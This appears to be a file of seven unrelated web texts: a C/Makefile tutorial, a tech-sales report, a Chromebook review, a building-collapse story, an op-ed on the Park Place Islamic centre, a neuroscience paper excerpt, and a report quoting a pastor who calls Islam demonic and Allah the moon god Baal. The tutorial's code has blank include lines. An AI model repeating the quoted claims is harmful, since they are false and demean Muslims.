-Image by quimby | Some Rights Reserved  I recently began taking a Harvard computer science course. As pretentious as that sounds, it’s not as bad as it seems. I am taking Harvard CS50 on-line, for free, in an attempt to push my knowledge and expand my understanding of this thing I love so much, programming.  The course uses Linux and C as two of the primary learning tools/environments. While I am semi-capable using Linux, and the syntax of C is vary familiar, the mechanics of C compilation, linking, and makefiles are all new.  If you are an experienced C developer, or if you have worked extensively with Make before, there is likely nothing new for you here. However, if you wanted to let me know if and when I am passing bad information, please do! This article will (hopefully) be helpful to those who are just getting started compiling C programs, and/or using the GNU Make utility.  In the post, we discuss some things that are specific to the context of the course exercises. However, the concepts discussed, and the examples introduced are general enough that the post should be useful beyond the course specifics.  The course makes available an “appliance” (basically, a pre-configured VM which includes all the required software and files), which I believe can be downloaded by anyone taking even the free on-line course. However, since I already know how to set up/configure a Linux box (but can always use extra practice), I figured my learning would be augmented by doing things the hard way, and doing everything the course requires manually.  For better or for worse, this has forced me to learn about Make and makefiles (this is for the better, I just opened the sentence that way to sound good).  Make File Examples on Github  In this post we will put together a handful of example Make files. You can also find them as source at my Github repo:  Compiling and Linking – The Simple  This is by no means a deeply considered resource on compiling and linking source code. However, in order to understand how make works, we need to understand compiling and linking at some level.  Let’s consider the canonical “Hello World!” program, written in the C programming language. Say we have the following source file, suitably named hello.c:  Basic Hello World Implementation in C:  #include  int main(void) { printf("Hello, World!  "); }  In the above, the first line instructs the compiler to include the C Standard IO library, by making reference to the stdio.h header file. This is followed by our application code, which impressively prints the string “Hello World!” to the terminal window.  In order to run the above, we need to compile first. Since the Harvard course is using the Clang compiler, the most basic compilation command we can enter from the terminal might be:  Basic Compile Command for Hello World:  $ clang hello.c -o hello  When we enter the above command in our terminal window, we are essentially telling the Clang compiler to compile the source file hello.c, and the -o flag tells it to name the output binary file hello.  This works well enough for a simple task like compiling Hello World. Files from the C Standard Library are linked automatically, and the only compiler flag we are using is -o to name the output file (if we didn’t do this, the output file would be named a.out, the default output file name).  Compiling and Linking – A Little More Complex  When I say “Complex” in the header above, it’s all relative. We will expand on our simple Hello World example by adding an external library, and using some additional important compiler flags.  The Harvard CS50 course staff created a cs50 library for use by students in the course. The library includes some functions to ease folks into working with C. Among other things, the staff have added a number of functions designed to retreive terminal input from the user. For example, the cs50 library defines a GetString() function which will accept user input as text from the terminal window.  In addition to the GetString() function, the cs50 library also defines a string data type (which is NOT a native C data type!).  We can add the cs50 library to our machine by following the instructions from the cs50 site. During the process, the library will be compiled, and the output placed in the /usr/local/lib/ directory, and the all-important header files will be added to our usr/local/include/ directory.  NOTE: You don’t need to focus on using this course-specific library specifically here – this is simply an example of adding an external include to the compilation process.  Once added, the various functions and types defined therein will be available to us.  We might modify our simple Hello World! example as follows by referencing the cs50 library, and making use of the GetString() function and the new string type:  Modified Hello World Example:  // Add include for cs50 library: #include  #include  int main(void) { printf("What is your name?"); // Get text input from user: string name = GetString(); // Use user input in output striing: printf("Hello, %s  ", name); }  Now, if we try to use the same terminal command to compile this version, we will see some issues:  Run Original Compile Command:  $ clang hello.c -o hello  Terminal Output from Command:  /tmp/hello-E2TvwD.o: In function `main': hello.c:(.text+0x22): undefined reference to `GetString' clang: error: linker command failed with exit code 1 (use -v to see invocation)  From the terminal output, we can see that the compiler cannot find the GetString() method, and that there was an issue with the linker.  Turns out, we can add some additional arguments to our clang command to tell Clang what files to link:  $ clang hello.c -o hello -lcs50  By adding the -l flag followed by the name of the library we need to include, we have told Clang to link to the cs50 library.  Handling Errors and Warnings  Of course, the examples of using the Clang compiler and arguments above still represent a very basic case. Generally, we might want to direct the compiler to add compiler warnings, and/or to include debugging information in the output files. a simple way to do this from the terminal, using our example above, would be as follows:  Adding Additional Compiler Flags to clang Terminal Command:  clang hello.c -g -Wall -o hello -lcs50  Here, we have user the -g flag, which tells the compiler to include debugging information in the output files, and the -Wall flag. -Wall turns on most of the various compiler warnings in Clang (warnings do not prevent compilation and output, but warn of potential issues).  A quick skimming of the Clang docs will show that there is potential for a great many compiler flags and other arguments.  As we can see, though, our terminal input to compile even the still-simple hello application is becoming cumbersome. Now imagine a much larger application, with multiple source files, referencing multiple external libraries.  What is Make?  Since source code can be contained in multiple files, and also make reference to additional files and libraries, we need a way to tell the compiler which files to compile, which order to compile them, and how a link to external files and libraries upon which our source code depends. With the additional of various compiler options and such required to get our application running, combined with the frequency with which we are likely to use the compile/run cycle during development, it is easy to see how entering the compile commands manually could rapidly become cumbersome.  Enter the Make utility.  GNU Make was originally created by Richard M. Stallman (“RMS”) and Roland McGrath. From the GNU Manual:  “The make utility automatically determines which pieces of a large program need to be recompiled, and issues commands to recompile them.”  When we write source code in C, C++, or other compiled languages, creating the source is only the first step. The human-readable source code must be compiled into binary files in order that the machine can run the application.  Essentially, the Make utility utilizes structured information contained in a makefile in order to properly compile and link a program. A Make file is named either Makefile or makefile, and is placed in the source directory for your project.  An Example Makefile for Hello World  Our final example using the clang command in the terminal contained a number of compiler flags, and referenced one external library. The command was still doable manually, but using make, we can make like much easier.  In a simple form, a make file can be set up to essentially execute the terminal command from above. The basic structure looks like this:  Basic Makefile Structure:  # Compile an executable named yourProgram from yourProgram.c all: yourProgram.c gcc -g -Wall -o yourProgram yourProgram.c  In a makefile, lines preceded with a hash symbol are comments, and will be ignored by the utility. In the structure above, it is critical that the  on the third line is actually a tab character. Using Make, all actual commands must be preceded by a tab.  For example, we might create a Makefile for our hello program like this:  Makefile for the Hello Program:  # compile the hello program with compiler warnings, # debug info, and include the cs50 library all: hello.c clang -g -Wall -o hello hello.c -lcs50  This Make file, named (suitably) makefile and saved in the directory where our hello.c source file lives, will perform precisely the same as the final terminal command we examined. In order to compile our hello.c program using the makefile above, we need only type the following into our terminal:  Compiling Hello Using Make:  $ make  Of course, we need to be in the directory in which the make file and the hello.c source file are located.  A More General Template for Make Files  Of course, compiling our Hello World application still represents a pretty simplistic view of the compilation process. We might want to avail ourselves of the Make utilities strengths, and cook up a more general template we can use to create make files.  The Make utility allows us to structure a makefile in such a way as to separate the compilation targets (the source to be compiled) from the commands, and the compiler flags/arguments (called rules in a make file). We can even use what amount to variables to hold these values.  For example, we might refine our current makefile as follows:  General Purpose Makefile Template:  # the compiler to use CC = clang # compiler flags: # -g adds debugging information to the executable file # -Wall turns on most, but not all, compiler warnings CFLAGS = -g -Wall #files to link: LFLAGS = -lcs50 # the name to use for both the target source file, and the output file: TARGET = hello all: $(TARGET) $(TARGET): $(TARGET).c $(CC) $(CFLAGS) -o $(TARGET) $(TARGET).c $(LFLAGS)  As we can see in the above, we can make assignments to each of the capitalized variables, which are then used in forming the command (notice that once again, the actual command is preceded by a tab in the highlighted line). While this Make File is still set up for our Hello World application, we could easily change the assignment to the TARGET variable, as well as add or remove compiler flags and/or linked files for a different application.  Again, we can tell make to compile our hello application by simply typing:  Compile Hello.c Using the modified Makefile:  $ make  A Note on Tabs Vs. Spaces in Your Editor  If you, like me, follow the One True Coding Convention which states:  “Thou shalt use spaces, not tabs, for indentation”  Then you will have a problem with creating your make file. If you have your editor set to convert tabs to spaces, Make will not recognize the all-important Tab character in front of the command, because, well, it’s not there.  Fortunately, there is a work-around. If you do not have tabs in your source file, you can instead separate the compile target from the command using a semi-colon. With this fix in place, our Make file might look like this:  Makefile with no Tab Characters:  # Compile an executable named yourProgram from yourProgram.c all: yourProgram.c gcc -g -Wall -o yourProgram yourProgram.c # compile the hello program with spaces instead of Tabs # the compiler to use CC = clang # compiler flags: # -g adds debugging information to the executable file # -Wall turns on most, but not all, compiler warnings CFLAGS = -g -Wall #files to link: LFLAGS = -lcs50 # require that an argument be provided at the command line for the target name: TARGET = hello all: $(TARGET) $(TARGET): $(TARGET).c ; $(CC) $(CFLAGS) -o $(TARGET) $(TARGET).c $(LFLAGS)  In the above, we have inserted a semi-colon between the definition of dependencies definition of the target and the command statement structure (see highlighted line).  Passing the Compilation Target Name to Make as a Command Line Argument  Most of the time, when developing an application you will most likely need a application-specific Makefile for the application. At least, any substantive application which includes more than one source file, and/or external references.  However, for simple futzing about, or in my case, tossing together a variety of one-off example tidbits which comprise the bulk of the problem sets for the Harvard cs50 course, it may be handy to be able to pass the name of the compile target in as a command line argument. The bulk of the Harvard examples include the cs50 library created by the program staff (at least, in the earlier exercises), but otherwise would mostly require the same sets of arguments.  For example, say we had another code file, goodby.c in the same directory.  We could simply pass the target name like so:  Passing the Compilation Target Name as a Command Line Argument:  make TARGET=goodbye.c  As we can see, we assign the target name to the TARGET variable when we invoke Make. In this case, if we fail to pass a target name, by simply typing make as we have done previously, Make will compile the program hard-coded into the Makefile – in this case, hello. Despite our intention, the wrong file will be compiled.  We can make one more modification to our Makefile if we want to require that a target be specified as a command line argument:  Require a Command Line Argument for the Compile Target Name:  # compile the hello program with spaces instead of Tabs # the compiler to use CC = clang # compiler flags: # -g adds debugging information to the executable file # -Wall turns on most, but not all, compiler warnings CFLAGS = -g -Wall #files to link: LFLAGS = -lcs50 # require that an argument be provided at the command line for the target name: TARGET = $(target) all: $(TARGET) $(TARGET): $(TARGET).c ; $(CC) $(CFLAGS) -o $(TARGET) $(TARGET).c $(LFLAGS)  With that change, we can now run make on a simple, single-file program like so:  Invoke Make with Required Target Name:  $ make target=hello  Of course, now things will go a little haywire if we forget to include the target name, or if we forget to explicitly make the assignment when invoking Make from the command line.  Only the Beginning  This is one of those posts that is mainly for my own reference. As I become more fluent with C, compilation, and Make, I expect my usage may change. For now, however, the above represents what I have figured out while trying to work with the examples in the on-line Harvard course.  If you see me doing anything idiotic in the above, or have suggestions, I am all ears! Please do comment below, or reach out at the email described in my “About the Author” blurb at the top of this page.  Additional Resources and Items of Interest  John on GoogleCodeProject
-Along with similar declines in the PC industry, tablet sales fall for five quarters with only budget models showing growth  Sales of tablet computers fell by more than 6m over the past year as the market contracted 14.7%, according to a report.  At a time when consumers are questioning whether they really need both a computer and a tablet or either along with a smartphone, the only part of the market to grow was the sub-$200 offerings.  Tablet sales were down from 50.5m to 43.0m year-on-year worldwide in the third quarter, according to IDC, after four straight quarters of double-digit declines. Even premium tablets such as the iPad suffered big declines, with Apple’s sales down 6.2% to 9.3m iPads in Q3 year-on-year. Apple’s marketshare grew though as competitors shrank further, with second-place Samsung down 19.3% and fourth-placed Lenovo down 10.8%.  Amazon, however, continued its rampant growth with its Fire tablets, of which all but one cost £100 or less, up 319.9% in Q3 year-on-year. Amazon is now the third-biggest tablet manufacturer after Apple and Samsung after its 5,421.7% increase in Q1 and 1,208.9% increase in Q2, going from tens of thousands of sales to 7m total tablet sales in three quarters.  Chinese smartphone and electronics manufacturer Huawei also bucked the tumbling trend with a 23.4% increase in year-on-year sales in Q3, after a sales up 116.6% in 2015 and up 82.2% and 71% in the first and second quarters of 2016 respectively.  However, the race to the low end has created quite a few devices that are simply not worth buying. Jitesh Ubrani, senior IDC research analyst, said: “Unfortunately, many low-cost detachables also deliver a low-cost experience.  “The race to the bottom is something we have already experienced with slates and it may prove detrimental to the market in the long run as detachables could easily be seen as disposable devices rather than potential PC replacements.”  Some manufacturers including Amazon have benefited from the ability to cut the right corners and make low-cost machines that aren’t terrible and fill a growing niche for basic media consumption. But cheap and terrible tablets, like the frustrating budget smartphone experiences before 2013, have put people off tablets.  Consumers simply aren’t as interested in tablets as in smartphones, they have instead become the new PC in the drawer that never gets replaced. At the same time 2-in-1 devices - PCs that double in some capacity as tablets with touchscreens - have begun to cannibalise both traditional PC sales and classic mobile operating system tablet sales.  If the decline in high-end tablet sales continues, it’s clear that where people used to buy a high-end tablet for the home, they’re instead turning to the smartphone, the computer or budget models that are just good enough.
-I took a flyer on a Chromebook, and am so glad I did. After hours of research on which one to get, I passed on HP's Chromebook 11 because of the anemic ARM processor and went with the Acer C720 4GB. Most of my laptop time is spent online so this made perfect sense for me. I was already using gmail and drive, as are my kids' schools, so that made the choice even easier. Set up all 4 of our Google accounts on it and now each person can log in to their own Google account. Sets up in only a few minutes right out of the box. Enter your wifi info and Google account and away you go. Also have Crouton loaded, which means I can easily switch between Chrome OS and Linux with a few keystrokes. The screen is above average, plenty bright but certainly not as good as an IPS panel. Viewing angles are fine for me, as I usually am not sharing my screen and if I do I use Chromecast to do it on the big screen TV. Keyboard is also above average, though not as nice as my work Lenovo T430 machine. It took me about 15 mins to get used to the trackpad, but after that i actually love it. 2 finger scroll, nice response, I've come to want it on all my laptops. Speed is phenomenal. Boots from power off in less than 10 seconds. Boots from sleep in 2 seconds. Haswell Celeron Processor, 4G of RAM and SSD drive all contribute to that. No lags in video and no slowness complaints whatsoever. Battery life is as advertised. With 50% screen brightness and normal web surfing I got 9.5 and 10 hours for my first two charges. There is a fan, but it's so quiet i only hear it if i put the vent up to my ear. Runs quiet, runs cool, and runs fast. Charges pretty quick also, though I did not time it. I don't care for the way the SD card sticks out of the side when inserted. I would have liked it to be flush with the case, and use it as a permanent storage space, but not a big deal. Speakers are above average, I never did use laptop speakers much, opting instead to connect it to my home theater or using my phone with earbuds. But the sound quality is very nice on here. Overall I am very happy with Chromebook idea in general, and I am completely confident I bought the best one currently on the market. Best thing about it? It doesn't run Windows and it doesn't run OS X!  Read more
-CLOSE Details about the Webber Building collapse. Rebecca Burylo  Buy Photo A portion of the Webber building has collapsed in downtown Montgomery. (Photo: Lloyd Gallman/Advertiser)Buy Photo  Developers plan to press on with the restoration of the historic Webber Building in downtown Montgomery despite a partial building collapse Thursday that has left surrounding streets blocked indefinitely.  "Certainly, this is a setback, but I'm of the belief that it is not insurmountable," said David Payne Sr., owner of the building and president of Design Build South LLC., which is handling the restoration.  No one was injured when the northeast corner of the building collapsed early Thursday afternoon, although workers said they just barely escaped in time.  Structural engineers were at the scene of the more than 150-year-old building at Perry and Monroe streets Thursday, Payne said. They will make a recommendation at some point about how feasible the restoration is, he added.  The cause of the collapse was not immediately clear, although workers were installing windows at the basement level and some workers on the scene said that the chain reaction of the collapse might have started there.  The following streets will be closed indefinitely: Perry Street from Dexter Avenue to Madison Avenue and Monroe Street from Perry to First Alabama Plaza.  Tim Brown said he and several others were working on the second floor on the other side of the building from the collapse when he saw a cloud of smoke and heard someone shouting, "get out of the building."  He said he and the other workers escaped from the building just in time and that the section that collapsed "fell in while we (were) running out."  "It was a spooky situation, I can tell you that," Brown said.  Montgomery Fire and Rescue received the call of the collapse at 1:17 p.m. and nine units were dispatched to the scene, according to District Fire Chief Ronnie Bozeman.  About 15 workers were inside at the time, including four in the basement, according to workers at the scene.  Payne said the building superintendent, Brian Brakenhoff, saw a crack in the wall and heard or saw a brick pop out, and that he acted quickly to get everyone out of the building.  "It is a miracle today that no one was injured," Payne said. "When I first heard the news, I was sure that someone was killed."  The two buildings west of the Webber have also been evacuated until a construction engineer can deem their structural safety.  The air quality was checked by Hazmat and is clear of any hazardous gases.  Residents are urged to keep their distance and keep outside of the collapse zone, which is deemed to be one and half the size of the structure.  Payne said, however, that so much work had already been done on the building that it appears to be salvageable.  "We were well into the construction, repair and restoration of the building, so it looks like now we just have an exterior wall to repair," he said.  Payne said the building is too much of a gem and has too much history for him to abandon the project.  The Webber Building was the home of the Montgomery Theater starting in 1860, according to the Landmarks Foundation. It's where actor John Wilkes Booth once performed and where the notes for the song "Dixie" were first written down.  After the theater closed in 1907, it became Webber's Department Store until that closed in the late 1990s. The building sat deteriorating under a collapsing roof until the Montgomery Riverfront Development Foundation purchased the building for $325,000 in 2001.  Payne signed an agreement to purchase the building from the Montgomery Riverfront Development Foundation about four years ago.  The renovation of the building includes plans for retail space on the first floor, office space on the second floor and apartments on the third floor.  The Landmarks Foundation offered some words of encouragement for Payne in a statement Thursday.  "Landmarks has suffered similar setbacks during renovation efforts in the past. Knox Hall, an 1848 building on Perry Street, was damaged by fire in the 1980s. Local historian Mary Ann Neeley commented, 'Landmarks was not daunted by the setback, and now Knox Hall is standing tall and glorious today,' " the statement reads.  Read or Share this story: http://www.montgomeryadvertiser.com/story/news/local/2014/06/26/webber-building-in-downtown-montgomery-collapses/11413313/
-Last Friday, in New York, I discovered a strip club near the site of the planned Islamic centre, described by its opponents as "the mosque at Ground Zero". As pole dancers gyrated with all the sizzling eroticism of a weary Wal-Mart checkout assistant at the end of a long shift, I asked the burly front-of-house man – Scott, from Brooklyn – whether they had faced any protests about this profanation of hallowed ground. Had any Fox News commentators, for example, been beating an angry path to their door? Well, he replied, one or two passers-by had raised objections since the controversy erupted about the Islamic centre. "People are entitled to their opinions," said Scott, but the "New York Dolls" Gentlemen's Club had been here for 30 years and the folks working in it had to make a living.  Now a strip club at the memorial site of the worst terrorist atrocity on American soil would truly be a profanation. Though obviously not comparable to a strip club, planting a large new mosque directly on that site would nonetheless show an acute lack of sensitivity. Nine years on, the place where the twin towers stood is still a building site, but in a nearby exhibition you can see the plans for a commemorative ensemble of pools, trees and a museum, as well as a soaring new "freedom tower". As at the sites of Auschwitz, Katyn, Hiroshima or Ypres, so in the footprint of the World Trade Center, historical tact and commemorative mission should override all other considerations.  But here's the point: the strip club on Murray Street is not "at Ground Zero" any more than the site of the planned Islamic centre, a former Burlington coat factory in Park Place, is "at Ground Zero". They are, respectively, three and two blocks away. Neither would be visible from the World Trade Center memorial site, which may in some important if secular sense be considered hallowed ground. In New York, two blocks is a country mile. By the time you get to Park Place, there is no doubt that you are already somewhere else, amid the city's habitual huggermugger craziness, with the Amish Market on the corner selling Amish BBQ chicken, Amish fettucine and Amish sushi – all of them as authentically Amish as I am Chinese.  Then the critics of the proposed centre in Park Place – sorry, "Ground Zero Mega Mosque" – go on about dubious sources of funding and suspect statements by its principal protagonist, Imam Feisal Abdul Rauf. And so, they say, it should be built further away. The leap of illogic is as big as any leap of faith. Were the centre to have terrorist sources of finance, or radical, bloodthirsty Islamist leadership, it should be stopped anyway, whether it is two blocks away from Ground Zero or 200.  In the event, these claims too turn out to be twisted, or absurdly thin. The anti-Islam blogger Pamela Geller, for example, has a characteristic rant on her website, arguing that Rauf was associated with a Malaysian peace group which funded the Gaza aid flotilla. Her headline: "Ground Zero Imam Rauf's 'Charity' Funded Genocide Mission". The Daily Show's Jon Stewart did a fine riff on this kind of guilt by association, pointing out that the second-largest shareholder in Rupert Murdoch's News Corporation, which owns Fox News, is Saudi Prince Al-Waleed bin Talal – who is associated with the Carlyle Group, which has done business with the Bin Laden family, "one of whose sons – obviously I'm not going to say which one – may be anti-American".  In a clumsy, provocative comment during a television discussion soon after 9/11, Rauf said that US policies had been "an accessory to the crime that happened" and that Osama bin Laden was "made in the USA". That was wrong, and offensive. But it has to be put against the rest of his words and deeds, which have been devoted to promoting a gentle Sufi version of Islam compatible with a free society. I'm not a huge fan of his kind of interfaith waffle, but if the Muslim world were comprised entirely of Raufs, we would not have the problems we face today – and there would have been no 9/11 attacks. That is why the state department has been funding him to travel round the Middle East explaining American Islam.  There is therefore no reasonable objection to this Islamic centre, with its mission to promote peace, love, interfaith dialogue and swimming, being built in Park Place. Yet in the runup to the US mid-term elections on 2 November, senior politicians, pundits and even supposed opponents of religious discrimination are either condemning it or ducking out with weasel words. Newt Gingrich, the Republican former speaker of the House of Representatives, denounced the scheme, saying: "Nazis don't have the right to put up a sign next to the Holocaust Museum in Washington." Fox star Bill O'Reilly says it should not be built because "Muslims killed us on 9/11". Sarah Palin famously tweeted "Peaceful Muslims, please refudiate" (sic). Facing a tough re-election race even Harry Reid, the Democrat majority leader in the Senate, distanced himself from President Obama's cautious endorsement of Muslims' constitutional right to build the centre.  Most grotesquely, Abraham Foxman of the Anti-Defamation League insists it should be moved. Talking of the relatives of 9/11 victims who oppose it (though some other relatives support it), Foxman says "their anguish entitles them to positions that others would categorise as irrational or bigoted". An organisation established to combat bigotry thus comes out in defence of ... bigotry. And the upshot of all this is that, in a Pew poll this August, 51% of Americans asked said they opposed the building of the centre near the World Trade Center site.  There is now no good way forward. If it goes ahead, it will be a constant bone of contention. If it is moved, more Muslims will believe radical Islamists when they say: "You see, we told you so – America is Islamophobic." Either way, America is doing something extremely stupid. As if it did not have enough problems of its own, it is conspiring to give itself a problem which, up to now, it has not had – or at least, has had much less than most European countries.  Yes, there have been a few home-grown American jihadists, but there is a lot of evidence that American Muslims are generally better integrated, and more supportive of the state in which they live than most of their European counterparts. There are several reasons for this, but one of the biggest is the First Amendment tradition of free speech and freedom of religion, which is now at issue in those blocks just up the road from, but not at, Ground Zero.  That great tradition, which Scott, the doorman at "New York Dolls", seems to have understood better than Foxman, Gingrich or Reid, says: this is America, where Geller can rant, strippers can grind, Christians, Jews and Muslims can pray – and Stewart can make fun of them all. This is America, where no one has the right not to be offended. For God's sake, America, don't catch our European disease.
-Jan Markell dedicated her radio program last weekend to replaying a talk that California pastor Jack Hibbs gave to a conference she hosted in Minneapolis last fall.  In the talk, Hibbs warned evangelical Christians against seeking interfaith understanding with Muslims, saying, “Islam is today is being embraced by so-called evangelical churches announcing that we worship the same god and they’re our brothers. Listen: That is not only false, it is a demonic doctrine being propagated by heretics.”  He went on to explain that Satan is using Islam as a “vehicle” in the Last Days before the return of Christ, and that Allah is simply the ancient “moon god” Baal, which is why Islam is represented by a crescent moon.  “Now look, you may hold that view today simply because maybe you’re not a heretic, but you might be ignorant that this is a war against an ancient doctrine, an ancient god with a little ‘g,’ and ancient system that used to go around by the name of Baal,” he said. “It is the moon god of the ancient Babylonian empire. Babylon had 360 gods. The chief god was the moon god. Don’t you think it’s interesting that all around the world, mosques have a moon symbol, a crescent on top of their buildings?”
-Targeted Expression of OptoA 2A R and MAPK Signaling by OptoA 2A R Activation in the Striatopallidal Neurons  Two weeks after the injection of AAV5-EF1α-DIO-mCherry-optoA 2A R and its control vector into the striatum of the adora2a-Cre mice (Figure 1a), we verified the selective expression of optoA 2A R in the striatopallidal neurons. Quantitative analysis of double immunofluorescence staining result indicated that 88% of mCherry (optoA 2A R-mCherry)-positive cells were colocalized with encephalin (a marker for the striatopallidal neurons), whereas only 17% mCherry-positive cells were colocalized with substance-P (a marker for the striatonigral neurons) in the striatum (Figure 1b). Representative double-immunofluorescence staining images illustrated the colocalization of optoA 2A R-mCherry with enkephalin but not substance-P (Figure 1c). Furthermore, the red (mCherry) fluorescence was specifically expressed in the terminals of the striatopallidal neurons in the globus pallidus, but was absent in the terminals of striatonigral neurons in the substantia nigra pars reticularta where substance P are highly expressed (Figure 1d). These results confirmed the selective expression of optoA 2A R in the striatopallidal neurons. Moreover, optoA 2A R stimulation in the striatum for 5 min induced p-MAPK in the mCherry-positive cells underneath the optic fiber (Figure 1e) in a similar pattern as the A 2A R agonist CGS21680. Quantified analysis showed that light-induced p-MAPK activation was detected in 57% mCherry-optoA 2A R-positive cells (n=1218 from 4 mice). Thus, optoA 2A R and CGS21680 produced indistinguishable p-MAPK signaling in the striatum.  Figure 1 Targeted expression and phospho-MAPK (p-MAPK) signaling of optoA 2A R in striatopallidal neurons. (a) Schematic illustration of the optoA 2A R chimera construction by replacing the intracellular loops 1, 2, and 3 and C terminal of the bovine rhodopsin with that of the adenosine A 2A receptor (A 2A R) to achieve control of A 2A R signaling by 473 nm light (left panel). Representative fluorescent image shows the expression of mCherry-optoA 2A R in the striatum after injection of AAV5-DIO-mCherry-optoA 2A R to adora2a-cre mice for 2 weeks (right panel). (b) The quantitative data shows that 88% mCherry-positive cells (n=114, from four mice) were colocalized with enkephalin (ENK), whereas only 17% mCherry-positive cells (n=106, from four mice) were colocalized with substance P (SP). (c) Double immunostaining with the mCherry and the specific antibodies (ENK or SP) showed that optoA 2A Rs were specifically expressed in ENK-positive striatopallidal neurons (white arrows, upper panels) but not SP-positive striatonigral neurons (yellow arrows, lower panels). (d) Following injection of AAV-DIO-mCherry-optoA 2A R virus in the dorsomedial striatum (DMS) of adora2a-cre mice, the mCherry fluorescence of striatopallidal projection terminals was specifically expressed in the global pallidum (GP) but not in the substantia nigra pars reticulate (SNr). The green fluorescence of striatonigral projection terminals containing endogenous SP was specifically expressed in the SNr. (e) The expression of p-MAPK was induced by optoA 2A R stimulation (white arrows, left panels) or CGS21680 injection (white arrows, right panels). Quantified analysis showed that light-induced p-MAPK activation was detected in 57% mCherry-optoA 2A R-positive cells (n=1218 from four mice). Full size image Download PowerPoint slide  Optogenetic Activation of Striatopallidal A 2A R Signaling in the DMS, Precisely at (but not Randomly in Relation to) the Time of the Reward, Suppressed Goal-Directed Behavior  To determine the effect of optoA 2A R signaling in the DMS and DLS on goal-directed and habitual actions using a satiety-based instrumental learning paradigm, we first performed an devaluation time-course study to select specific RI training schedule that were most likely sensitive to bidirectional manipulation of the A 2A R activity in the DMS and DLS. Devaluation test revealed that after the CFRRI30RI60 training, mice showed a clear goal-directed behavior on the 3rd day, developed habitual behavior on the 4th day, and became a stable habitual behavior on the 5th day after RI60 training (Supplementary Figure 1). Since the mice on the 4th day of RI60 schedule were at the transition period from goal-directed to habitual behavior and were most sensitive to bidirectional manipulation of A 2A Rs in the DMS and DLS, we used the RI60 training for 4 days for the rest of the experiments.  We verified that the locations of the optical fiber implantation sites and expression of optoA 2A R were restricted to the DMS by immunofluorescence (Figure 2a). At the RI sessions, we used the ‘time-locked’ method to deliver optoA 2A R stimulation (for 2 s per reward) precisely at the time of reward delivery (Figure 2b). Mice with ‘light off’ serviced as controls. All mice gradually increased their lever pressing rates to obtain reward and reached the lever pressing plateau at the second day of RI training. There was no main effect of optoA 2A R stimulation (F 1,14 =0.371, p>0.05) nor optoA 2A R stimulation × RI training course interaction effect (F 5,70 =0.098, p>0.05) by repeated-measures ANOVA. Thus, optogenetic activation of the striatopallidal A 2A R signaling in the DMS did neither impair lever pressing performance nor affect acquisition of instrumental learning (Figure 2c).  Figure 2 ‘Time-locked’ but not random optogenetic activation of striatopallidal adenosine A 2A receptor (A 2A R) signaling in the dorsomedial striatum (DMS) suppresses goal-directed behavior. (a) Left panel: Schematic illustration of the locations of the fiber tips for each animal in the ‘light-off’ group (the red triangles) and ‘time-locked’ activation group (the blue circles). Right panel: Typical coronal section of mCherry-optoA 2A R expression in the DMS of adora2a-cre(+) mice. The white arrow indicates the optical fiber tip. (b) Schematic illustration of timing of lever pressing, sucrose reward delivery, and optical stimulation. Light stimulation (the blue flash) was delivered to the DMS during a 2-s period in ‘time-locked’ manner with (the flashes between the two red dotted vertical lines) or in ‘random’ manner with (the flashes in the random interval periods) reward delivery (the liquid drops). (c) Two groups of mice expressing optoA 2A R in the DMS were subjected to either ‘time-locked’ light stimulation or ‘light off’ (n=8 per group) during the random interval (RI) training session (as indicated by the blue bar). The two groups performed indistinguishably in the acquisition phase of instrumental learning by repeated-measures analysis of variance (ANOVA)—RI period × optoA 2A R stimulation interaction effect: F 5,70 =0.098, p>0.05; optoA 2A R stimulation main effect: F 1,14 =0.371, p>0.05. (d) Following the RI training sessions, a 2-day devaluation test without any experimental (optoA 2A R activation) manipulation was conducted as described in the Materials and Methods section. Mice without optoA 2A R activation during the RI training sessions significantly reduced their lever presses in devalued condition compared with valued condition (normalized devaluation: t 1,7 =6.861, ***p<0.001, preplanned t-test). By contrast, mice with optoA 2A R ‘time-locked’ stimulation showed no significant devaluation effect (normalized devaluation: t 1,7 =0.709, p>0.05, preplanned t-test). However, there was no normalized devaluation × optoA 2A R interaction effect by repeated-measures ANOVA analysis (F 1,14 =0.429, P=0.523). (e) We further performed instrumental behavioral analyses of a separate set of four experimental groups: mice expressing mCherry with ‘time-locked’ light stimulation (n=7), mice expressing optoA 2A R with ‘light off’ (n=9), mice expressing optoA 2A R with ‘time-locked’ light stimulation (n=8), and mice expressing optoA 2A R with random light stimulation (n=8). Consistent with the result in (c) repeated-measures ANOVA analysis indicated that there was neither between-subject effect (F 3,28 =1.481, p=0.241) nor RI training sessions × manipulation groups interaction effect (F 15,140 =1.284, p=0.220) in the acquisition phase. (f) Repeated-measures ANOVA analyses of the devaluation test revealed that there was significant effect of optogenetic manipulation × (normalized) devaluation interaction effect: F 3,28 =3.258, p=0.036. Similarly, the simple main-effect analyses of the devaluation test in four groups indicated that only mice with optoA 2A R expression in the DMS and time-locked light stimulation performed habitually, whereas other groups displayed goal-directed behavior (simple effect analyses: F 1,8 =7.141, *p<0.05 for ‘light off’ and F 1,7 =6.074, *p<0.05 for ‘random’ stimulation groups, and F 1,6 =16.050, **p<0.01 for mCherry group). Data are presented as the mean±SEM. The color reproduction of this figure is available on the Neuropsychopharmacology journal online. Full size image Download PowerPoint slide  The devaluation test (Figure 2d) revealed that there was no normalized devaluation × optoA 2A R interaction effect (F 1,14 =0.429, p=0.523) by repeated-measures ANOVA. However, preplanned t-test showed that the optoA 2A R mice with ‘light off’ displayed a goal-directed behavior with sensitivity to devalued reward (t 1,7 =6.861, ***p<0.001, n=8). The goal-directed behavior in the ‘light-off’ group probably reflects unstable (transient) nature of instrumental behavior for the 4-day RI60 training schedule and might be partially attributed to the relatively low level of lever pressing in this group (and the total rewards received) when the optical fiber implanted in the DMS compared with other experimental groups. Importantly the optoA 2A R with ‘time-locked’ stimulation during the RI sessions failed to show sensitivity to outcome devaluation (preplanned t-test, t 1,7 =0.709, p>0.05, n=8), indicating that their responding was habitual.  To better define the temporal importance of optoA 2A R signaling precisely at the time of reward and to exclude the nonspecific effect caused by light, we have performed behavioral analyses with separate set of four experimental groups: mice expressing mCherry with ‘time-locked’ light stimulation (n=7), mice expressing optoA 2A R with ‘light off’ (n=9), mice expressing optoA 2A R with ‘time-locked’ light stimulation (n=8), and mice expressing optoA 2A R with ‘random’ (n=8) light stimulation. The light stimulation scheme was illustrated in Figure 2b. Consistent with the result in Figure 2c, there was neither between-subject effect (F 3,28 =1.481, p=0.241) nor RI training sessions × manipulation groups interaction effect (F 15,140 =1.284, p=0.220) in the acquisition phase by repeated-measures ANOVA (Figure 2e). However, analyses of the devaluation test (Figure 2f) revealed that there was a significant effect of optogenetic manipulation × (normalized) devaluation interaction effect (repeated-measures ANOVA, F 3,28 